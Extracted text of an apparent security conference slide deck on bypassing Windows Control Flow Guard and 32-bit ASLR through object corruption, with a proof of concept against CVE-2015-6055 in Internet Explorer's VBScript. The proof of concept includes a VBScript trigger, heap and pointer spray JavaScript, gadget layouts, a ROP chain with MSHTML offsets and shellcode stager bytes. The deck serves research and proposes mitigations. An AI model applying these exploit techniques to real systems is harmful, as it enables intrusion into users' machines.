    Original (pre DEP/ASLR/CFG)corruption corrupt the vtable pointer = control IP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… shellcode/stager+0x00 shellcode/stager+0x04 shellcode/stager+0x08 *method invoked+0x0c …… …… Function tableObject The method invoked could be pointed to “jmp ecx” when we don’t know the shellcode’s address - Heap feng shui [2]
  • 11.
    2009 – DEP– Data Execution Prevention We can no longer execute data Code reuse (ROP) to the rescue
  • 12.
    Stack pivoting Code (32-bit): (eax= object pointer) mov ecx, [eax] push eax call [ecx+offset] Code (64-bit): (rax = object pointer) mov rax, rcx mov rax, [rcx] mov rbx, [rax+offset] call rbx xchg ecx,esp retn 0x87, 0xcc, 0xc3 xchg rax,rsp retn 0x94, 0xc3 • We control IP • Point at existing unintended code • Take control of SP
  • 13.
    Original (pre CFG)corruption corrupt the vtable pointer = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… ROP+0x00 ROP+0x04 ROP+0x08 *stack pivot+0x0c …… shellcode/stager… Function tableObject
  • 14.
    2012 – VTGuard VirtualTable Guard • Some virtual tables now have an extra entry which is a cookie checked on invocation • It’s value is entirely dependent on the DLL’s base address
  • 15.
    2012 – EffectiveASLR Address Space Layout Randomisation • Code is no longer at a known location • Object corruption still works but we need to know the address of known code within the system • “The infoleak era on software exploitation” [3]
  • 16.
    2014 – CFG– Control Flow Guard *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *method1+0x00 *method2+0x04 *method3+0x08 *method4+0x0c …… *methodXXX… Function tableObject Pointers for invoked functions must point to valid functions ? ?
  • 17.
    Simple virtual methodinvocation (CFG) Code (32-bit): (eax = object pointer) mov ebx, [eax] push eax mov ecx,[ebx+offset] mov edi, esp call ds:___guard_check_icall_fptr call [ebx+offset] cmp edi, esp jne diediedie Shorthand: arg0 = OP (check icall target) call [[OP]+offset] (check esp not desynced) OP – Object Pointer
  • 18.
    Simple virtual methodinvocation (CFG) Code (64-bit): (rax = object pointer) mov rdi, rax mov rax, [rdi] mov rbx, [rax+offset] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rdi call rbx Shorthand: arg0 = OP (check icall target) call [[OP]+offset] OP – Object Pointer
  • 19.
    Agenda • Object orientedexploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  • 20.
    CFG – previousknown attacks • Several attacks make heavy use of read/write primitives to modify stack or cause unguarded invocations [4] [5] [6] • Rafal Wojtczuk made an interesting observation about a 32-bit only “stack desynchronization” attack that worked before CFG was further hardened [7]
  • 21.
    Control Flow Gadgets •We’re going to look at a code reuse attack based on using valid icall targets as our gadgets • I’m certainly not the first person to do this – see [8] - “Counterfeit Object-oriented programming” • We’ll be looking at object corruption and obtaining ROP execution • Where the focus of ROP is the stack, our focus is the current Object (“this”), the first argument passed to any of our gadgets
  • 22.
    Control Flow Gadgets *virtualtable+0x00 *(&LoadLibraryA – offset)+0x04 *”uncpathnasty.dll”+0x08 property3+0x0c …… *method1+0x00 *method2+0x04 *method3+0x08 *valid icall target+0x0c …… Function tableObject Using object corruption to call imported functions Valid icall target: this->property1->method(this->property2)
  • 23.
    Mitigated sensitive functions •NtContinue/longjmp • VirtualProtect/VirtualAlloc (Edge) • LoadLibrary (Edge) • WinExec (Edge on Windows 10 AE) Source [9] - “Windows 10 Mitigation Improvements” – Blackhat 2016 Overwrite return address on the stack “Known limitation that we intend to address with new technology (e.g. with Intel CET)”
  • 24.
    Mismatching arguments • Apointer to a local variable (on the stack) sometimes gets passed as an argument • If we can get this passed to a function that treats it as an object on which it sets a property at the relevant offset the return address will be overwritten
  • 25.
    void stackOverwrite1() { … int localvar; this->method(&localvar); … } voidstackOverwrite2(object var) { … var->propertyA=this->propertyB; … } Imagine two mismatched methods …+0x00 return address+0x04 argument+0x08 local variable+0x0c …… return address… …+0x00 …… propertyA… Stack
  • 26.
    Actual code: movups xmm0,xmmword ptr [rcx+1A0h] movups xmmword ptr [rdx], xmm0 movups xmm1, xmmword ptr [rcx+1B0h] movups xmmword ptr [rdx+10h], xmm1 movups xmm0, xmmword ptr [rcx+1C0h] movups xmmword ptr [rdx+20h], xmm0 retn 64 bit stackOverwrite2 CDCompLayer::GetRoundedBordersClipping: Short hand: [edx+0] = [ecx+1a0] [edx+10] = [ecx+1b0] [edx+20] = [ecx+1c0] return *note 128-bit memory ops
  • 27.
    Actual code: mov [rsp+arg_8],rbx mov [rsp+arg_0], rcx push rdi sub rsp, 30h mov rax, [rsp+38h+arg_0] mov rdi, [rax+20h] mov rax, [rdi] mov rbx, [rax+98h] mov rcx, rbx call cs:__guard_check_icall_fptr lea rdx, [rsp+38h+var_18] mov rcx, rdi call rbx movsx eax, [rsp+38h+var_18] mov rbx, [rsp+38h+arg_8] and eax, 1 add rsp, 30h pop rdi retn 64-bit stackOverwrite1 – CHTMLEditEvent::IsLeftButton: Short hand: edx=&var_18 ecx=[ecx+20h] call [[ecx]+98h] return
  • 28.
    Control Flow Gadgets vtablepointer + given property = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function tableObject
  • 29.
    Control Flow Gadgets whatif we don’t control the given property? *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function tableObject
  • 30.
    Control Flow Gadgets vtablepointer + some property = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 …+0x00 *pivotToProperty+0x04 …+0x08 …… Function table 1 pivotToProperty: … this->property1->method(); …
  • 31.
    Control Flow Gadgets whatif we don’t control any properties? *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 …+0x00 *pivotToProperty+0x04 …+0x08 …… Function table 1 pivotToProperty: … this->property1->method(); …
  • 32.
    Control Flow Gadgets Ifwe could somehow pivot to vtable…. *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2 Function table 1 / Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1 ?
  • 33.
    Unintended arguments • The32-bit implementation of CFG checks for a mismatched number of arguments after invocation • There is no check on 64-bit • We can invoke a method with more arguments than we supply, unintended (register/stack) values will be interpreted as arguments • If we could manage to have the vtable pointer interpreted as an argument, then have a method invoked on that argument – we will have pivoted
  • 34.
    Vtable pointer asan unintended argument? 32-bit • Most arguments are placed on the stack • We need to place the vtable pointer onto the stack • And interpret it as an argument • We can mismatch stdcall/thiscall (like [7]) 64-bit • First four arguments are passed by register • Find a register set as the vtable pointer • And interpret it as an argument
  • 35.
    Actual code: … mov rax,[rcx] mov rsi, rcx mov rbp, r8 mov r14, rdx mov rbx, [rax+48h] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx mov r9, [rsi] mov edi, eax mov rbx, [r9+20h] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx 64 bit vtablePivot1 - CDXEffect::Initialize: Short hand: call [[ecx]+48h] r9 = [ecx] = vtable pointer call [[ecx]+98h]
  • 36.
    Actual code: mov rax,rsp mov [rax+20h], r9 mov [rax+18h], r8 mov [rax+10h], rdx mov [rax+8], rcx push rbx push rsi push rdi push r14 sub rsp, 28h mov rdi, rcx mov rsi, r9 test r9, r9 jz short loc_1800334E8 mov rax, [r9] mov rbx, [rax+8] mov rcx, rbx call cs:__guard_check_icall_fptr mov rcx, rsi call rbx 64 bit vtablePivot2 - CDMTouchTarget::Initialize: Short hand: ecx=r9 call [[ecx]+8] Pseudocode: … arg4->method(); …
  • 37.
    Control Flow Gadgets Wecan pivot to vtable…. *virtual table+0x00 property1+0x04 *pivotToVtable1+0x08 *pivotToVtable2+0x0c *stack pivot… propertyXXX… ROP+0x00 *stackOverwrite2+0x04 ROP+0x08 *stackOverwrite1+0x0c …… shellcode/stager… Function table 2 Function table 1 / Object 2 *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… Object 1
  • 38.
    Control Flow Gadgets corruptthe vtable pointer = control SP *virtual table+0x00 property1+0x04 property2+0x08 property3+0x0c …… propertyXXX… *virtual table+0x00 ROP… *vtablePivot1… *vtablePivot2… *stackOverwrite1… *stackOverwrite2… *stack pivot… …… shellcode/stager… Function tableObject
  • 39.
    Agenda • Object orientedexploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  • 40.
    ASLR – Binary/DLLloading (32-bit) • Entropy of DLL base address often stated as 8-bits (e.g. [10]) • Effective entropy is actually higher for most DLLs • Applications and there DLLs not loaded in the same order every time • DLL’s base address 0x10000 aligned 00 00 b1 60
  • 41.
    Heap spraying • Ancienttechnique – SkyLined 2004! [11] • It’s not only static data that can be sprayed • We’ll be doing a pointer spray (See [12] for another example) • Easy to achieve 0x10000 alignment (big allocations)
  • 42.
    Shifted pointers 0x28000000 0000 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 Shifted pointer Pointer • Wherever there is a pointer there is also a shifted pointer • If we control the byte adjacent to the pointer, or it takes a desirable value, we can control the data it’s shifted pointer points to • If we can create a pointer to within a DLL, it’s shifted pointer contains the relevant information to determine it’s base address • We can use this to cause an exploit to “lookup” the relevant payload depending on the DLL’s base address when we control an object pointer
  • 43.
    shifted pointer payload pointerto shifted pointer shifted pointers 0x00000000 before spray after spray Shifted pointers - before and after spray free used sprayed with pointers sprayed with payload If we corrupt an object pointer so that it points to a shifted pointer and invoke a method on that object it will call: [[PSP]+offset]=[SP+offset] Our payload is a repeating pattern 0x10000 bytes in length and is 0x10000 aligned, so a different 0x100 byte section will be selected for each possible value of the 3rd highest byte of the shifted pointer (2nd highest byte of the original pointer) Essentially we are selecting which of 0x100 (fake) vtables to use dependent on the value of the DLL’s base address *Note: PSP = Pointer to Shifted Pointer SP = Shifted Pointer e5 b1 60 38e4 e5 b1 60
  • 44.
    Shifted pointers beyond 8-bitsof entropy pointer to the shifted pointer pointer allocation 0 pointer to the shifted pointer pointer allocation 1 pointer to the shifted pointer pointer allocation 2 pointer to the shifted pointer pointer allocation 3 pattern repeats pointer allocation 0 pointer allocation 1 pointer allocation 2 pointer allocation 3 payload pattern repeats payload • We cannot align our payload beyond 0x10000 bytes • To attack the other bits of entropy within the DLL’s base address we must account for multiple alignments • We can do this by using multiple shifted pointers • We place our payload (a repeating pattern 0x40000 bytes in length) directly after a repeating sequence of four pointer allocations • Which shifted pointer is active at a fixed address determines the alignment of both the pointer allocations and payload. • By overlaying 4 different 0x40000 byte payloads (one for each alignment) we can handle 10-bits of entropy in the base address.
  • 45.
    Agenda • Object orientedexploitation? • Object corruption and mitigations • Two new techniques (theory) • Control flow gadgets (Generic CFG bypass) • Pointer spraying and shifted pointers (32-bit ASLR bypass) • Proof of concept - CVE-2015-6055
  • 46.
    CVE-2015-6055 • Francisco Falcónhas taken a good look at this one – see [13] “Exploiting Internet Explorer’s MS15-106, Part I: VBScript Filter Type Confusion Vulnerability (CVE- 2015-6055)” for a more detailed explanation of the vulnerability. • For our purposes it’s a fairly simple type confusion vulnerability which gives us control of an object pointer to an object on which a method is invoked.
  • 47.
    CVE-2015-6055 Triggering CVE-2015-6055 <SCRIPT language="VBScript"> Setx = CreateObject("Microsoft.XMlHTTP") x.Open "GET", "confusing.bin", false x.Send q = x.responseBody MyIndex = Filter(q,"aaa",true, 1) </SCRIPT> 09 00 ?? ?? ?? ?? ?? ?? XX XX XX XX ?? ?? ?? ?? confusing.bin … mov eax,[esi] mov edi,[eax]* lea eax,[esp+0x14] cmp edi,offset vbscript!NameTbl::QueryInterface je vbscript!VAR::ObjGetDefault+0x1d4 mov esi,esp mov ecx,edi push eax push offset vbscript!IID_IDispatchEx push dword ptr [esp+0x20] call dword ptr [vbscript!__guard_check_icall_fptr] call edi vbscript!VAR::ObjGetDefault (Where we end up) *Note: The first entry from the vtable is called, this causes us a minor inconvenience. If we pivot to the vtable the vtable’s vtable pointer is already used.
  • 48.
    PoC – Creatingthe shifted pointers First, template DOM elements are created through the “document.createElement” function. These elements are then augmented with custom attributes through their “.setAttribute” method, so that their representation in memory (including any headers) takes 0x10000 bytes. For various attributes these DOM elements contain a pointer to MSHTML.DLL next to a user controlled value. We will use the “width” attribute. Different element types use different pointers. magicE_0 = document.createElement("img"); magicE_0.width = target_width; for (i=0;i<16*256-2;i++) { magicE_0.setAttribute("data-xxx"+i,null); } for (i=0;i<256*8;i++) { arr[i*4]=magicE_0.cloneNode(); arr[i*4+1]=magicE_1.cloneNode(); arr[i*4+2]=magicE_2.cloneNode(); arr[i*4+3]=magicE_3.cloneNode(); } Creating a template element Pointer spray with template elements Element Pointer IMG mshtml+0x0d0efc TD mshtml+0x21e1e8 TABLE mshtml+0x21e5e4 HR mshtml+0x21fe14
  • 49.
    PoC – Patternof shifted pointers 0x28000000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28000010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00 ……………… 0x28010000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28010010 00 14 01 00 fc 0e 9d 60 38 18 00 00 09 00 00 00 ……………… 0x28020000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28020010 00 14 01 00 e8 e1 b1 60 38 18 00 00 09 00 00 00 ……………… 0x28030000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28030010 00 14 01 00 e4 e5 b1 60 38 18 00 00 09 00 00 00 ……………… 0x28040000 00 00 00 00 f0 ff 00 00 00 00 00 00 08 08 00 00 0x28040010 00 14 01 00 14 fe b1 60 38 18 00 00 09 00 00 00 ………………
  • 50.
    PoC – vtablepivot gadgets SP pivotToVtable1 xx xx xx xx xx xx xx xx P2P SP+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x20 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x30 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x40 xx xx xx xx xx xx xx xx vtguard xx xx xx xx SP+0x50 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x60 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx SP+0x70 xx xx xx xx xx xx xx xx xx xx xx xx pivotToVtable2 SP+0x80 xx xx xx xx pivotToProperty xx xx xx xx xx xx xx xx pivotToVtable1 edi = [arg0] check [[arg0]+0x48] = vtguard push arg0 call [[arg0]+ 0x7c] pivotToVtable2 push edi call [[arg0]+0x84] (stdcall/thiscall mismatch) pivotToProperty push [arg0+0xc] (P2P) call [[[arg0+c]]+0x48] ([[P2P]+48]) CBase::SetAttribute CMarkupPointer::IsRightOfOrEqualTo Ptls6::ClsAnimObject::CalcPresentation
  • 51.
    PoC – Overlayingvtable pivot gadgets 0x38????00 pTV. 1 xx xx xx xx xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 xx xx xx xx xx xx xx xx P2P xx xx 0x38????20 xx xx xx xx xx xx xx xx xx vtguard vtguard 0x38????30 … xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????40 xx xx xx xx xx xx vtguard xx xx xx xx xx xx 0x38????50 xx xx xx xx xx xx vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty xx xx xx 0x38????70 xx xx xx xx xx xx xx xx xx xx pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????d0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx xx xx xx xx xx xx xx xx pTV. 1
  • 52.
    PoC – stackoverwrite gadgets stackOverwrite1 (and [arg4],0) check [[arg0]+328] = vtguard new arg4 = var4 (ebp - 4) call [[arg0]+228] (check eax not zero, not signed) return stackOverwrite2 [arg4+0] = [arg0+1c] [arg4+4] = [arg0+20] [arg4+8] = [arg0+24] [arg4+c] = [arg0+28] return CElement::get_firstChild CCompositionItem::GetBounds • Overwrite EBP and return address • EBP->*ROP (-4) • Return address->*(leave, retn) We need to set vt2+0x228 and vt2+0x328 which overlap on a per 0x100 byte basis. So we will need to interleave “odd” and “even” copies. P2P vtable2 xx xx xx xx xx xx xx xx xx xx xx xx P2P+0x10 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx P2P+0x20 *ROP-4 *(leave, retn) xx xx xx xx xx xx xx xx vt2+0x228/0x328 sO2/vtg xx xx xx xx xx xx xx xx xx xx xx xx vt2+0x38 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx vt2+0x48 stackOverwrite1 xx xx xx xx xx xx xx xx xx xx xx xx
  • 53.
    PoC – Overlayingstack pivot gadgets 0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2 0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard 0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4 0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg 0x38????50 … xx vtable2 vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o 0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty xx xx xx xx xx xx xx xx xx xx 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????b0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????c0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx 0x38????d0 xx xx xx xx xx xx vtable2 xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1
  • 54.
    PoC – ROPchain & shellcode stager Offset Value 0x00 pop eax, ret MSHTML + 0x38593f 0x04 *VirtualProtect MSHTML + 0x11d0594 0x08 jmp [eax] MSHTML + 0x1c4257 0x0c return address (shellcode) 0x385e00b6 0x10 lpAddress (shellcode) 0x385e00b6 0x14 size 0x00010001 0x18 flNewProtect 0x40000040 0x1c lpOldProtect 0x28000015 0xbf, 0xd4, 0x00, 0x5e, 0x38, // mov edi, 0x385e00d4 0xbe, 0xb6, 0x01, 0x5e, 0x38, // mov esi, 0x385e01b6 0x33, 0xc0, // xor eax,eax 0x89, 0xc1, // mov ecx,eax 0x04, 0xff, // add al,0xff // loop: 0x83, 0xc1, 0x1e, // add ecx,0x1e 0xf3, 0xa4, // repe movs.b 0x83, 0xc6, 0x71, // add esi,0x71 0x83, 0xc6, 0x70, // add esi,0x70 0x48, // dec eax 0x75, 0xf2 // jne loop ROP • Not dependent on alignment • Place one copy per 0x100 byte section • 4 different pointers to it Shellcode stager • At offset 0xb6 in every 0x10000 section • Run from 0x385e00b6 • Copies subsequent code from offset 0xb6 to 0xd5 from next 0xff 0x100 byte sections
  • 55.
    PoC – 0x100byte section of payload 0x38????00 pTV. 1 sO2-e/vtg xx xx xx xx P2P pTV. 1 0x38????10 pTV. 1 vtable2 xx xx xx xx P2P vt2 0x38????20 vt2 stackOverwrite1-e xx xx xx vtguard vtguard 0x38????30 … xx *ROP-4 *(leave, retn) xx xx xx xx *ROP-4 0x38????40 *ROP-4 *(leave, retn) vtguard xx xx xx so2-o/vtg 0x38????50 … xx vtable2 vtguard xx xx xx pTV2 0x38????60 … pivotToVtable2 pivotToProperty pivotToProperty sO1-o 0x38????70 … xx *ROP-4 *(leave, retn) pivotToVtable2 xx xx 0x38????80 xx xx pivotToProperty xx xx xx xx pivotToVtable2 xx xx 0x38????90 xx xx pivotToProperty ROP 0x38????a0 ROP 0x38????b0 ROP shellcode 0x38????c0 shellcode 0x38????d0 shellcode vtable2 xx xx xx xx xx xx 0x38????e0 xx pivotToVtable1 pivotToVtable1 xx xx xx xx P2P 0x38????f0 … P2P xx *ROP-4 *(leave, retn) pTV. 1 0x38????a0 xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx xx
  • 56.
  • 57.
    Summary • Control FlowGadgets • Object oriented bypass of CFG • Usable in just about any scenario we encounter CFG on an Object • Need gadgets • Shifted pointers • Object oriented bypass of 32-bit ASLR • Usable when we can overwrite a double dereferenced call (i.e. Object pointer) • Applicable to a wider range of applications and vulnerabilities than read/write approach • Need pointer and data spraying primitives (controlled allocations)
  • 58.
    Conclusions • CFG isineffective against object corruption in it’s current form in the presence of sufficient valid icall targets / control flow gadgets. • Stack overwrite gadgets mean control of vftable + properties gives control • VFTable pivot gadgets mean vftable control sufficient • 32-bit ASLR is ineffective against object pointer corruption in it’s current form in the presence of sufficient memory allocation primitives. • Simple pointer and heap spraying allows 8-bit reduction in effective entropy when an object pointer can be overwritten (and method invoked) • Multiple pointer spray allows 10-bit reduction
  • 59.
    Suggested mitigations Control FlowGadgets • Method segregation • Unintended arguments would be largely addressed by grouping methods by number of arguments and only invoking a method with the intended number of arguments • We could consider imperfect grouping (e.g. 0,1,2,3,4,5,6,7+ args) • Have compiler place icall targets with Z args aligned to 0xZ0 • Minimal runtime cost and impact on binary size • Stack protection • CET (isolated return address stack) – note hardware level mitigation [14] • Shadow return address and frame pointer used on icall targets which invoke with local variables • VTGuard hardening • VTGuard not based exclusively on the DLL’s base address
  • 60.
    Suggested mitigations Shifted Pointers •Enforced pointer alignment • Normal object pointers are (always?) well aligned • Enforce pointer alignment (and ptr,0x7ffffffc) • Select high risk objects probabilistically (like VTGuard)
  • 61.
  • 62.
    References [1] Hariri, Gorenc,Zuckerbraun – Abusing Silent Mitigations - Blackhat 2015 https://www.blackhat.com/docs/us-15/materials/us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers- Isolated-Heap-And-MemoryProtection.pdf [2] Sotirov – Heap Feng Shui https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf [3] Serna – The info leak era on software exploitation https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf [4] Falcón - Exploiting CVE-2015-0311, Part II: Bypassing Control Flow Guard on Windows 8.1 Update 3 https://blog.coresecurity.com/2015/03/25/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3/ [5] Zhang – Bypass Control Flow Guard Comprehensively – Blackhat 2015 https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf [6] Chen – The Birth of a Complete IE11 Exploit Under the New Exploit Mitigations – SyScan 2015 https://infocon.org/cons/SyScan/SyScan%202015%20Singapore/SyScan%202015%20Singapore%20presentations/SyScan15%20Yuki%20Chen%20- %20The%20Birth%20of%20a%20Complete%20IE11%20Exploit%20Under%20the%20New%20Exploit%20Mitigations.pdf [7] Wotjczuk - An interesting detail about Control Flow Guard https://labs.bromium.com/2015/09/28/an-interesting-detail-about-control-flow-guard/ [8] Schuster, Tendyk, Leibchen, Davi, Sadeghi, Holz – Conterfeit Object-oriented Programming https://www.informatik.tu-darmstadt.de/fileadmin/user_upload/Group_TRUST/PubsPDF/2015_-_IEEE_SP_-_COOP.pdf [9] Weston, Miller – Windows 10 Mitigation Improvements - Blackhat 2016 https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf
  • 63.
    References [10] Johnson, Miller– Windows 8 Mitigation Improvements – Blackhat 2012 https://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf [11] Wever - Internet Explorer IFRAME src&name parameter BoF https://web.archive.org/web/20041207093438/http://www.edup.tudelft.nl/%7Ebjwever/advisory_iframe.html [12] Fratric – Exploit Internet Explorer 11 64-bit http://ifsec.blogspot.co.uk/2013/11/exploiting-internet-explorer-11-64-bit.html [13] Falcón - Exploiting Internet Explorer’s MS15-106, Part I: VBScript Filter Type Confusion Vulnerability (CVE-2015-6055) https://blog.coresecurity.com/2016/04/25/exploiting-internet-explorers-ms15-106-part-i-vbscript-filter-type-confusion-vulnerability-cve-2015-6055/ [14] Patel – Intel release new technology specifications to protect against ROP attacks https://blogs.intel.com/evangelists/2016/06/09/intel-release-new-technology-specifications-protect-rop-attacks/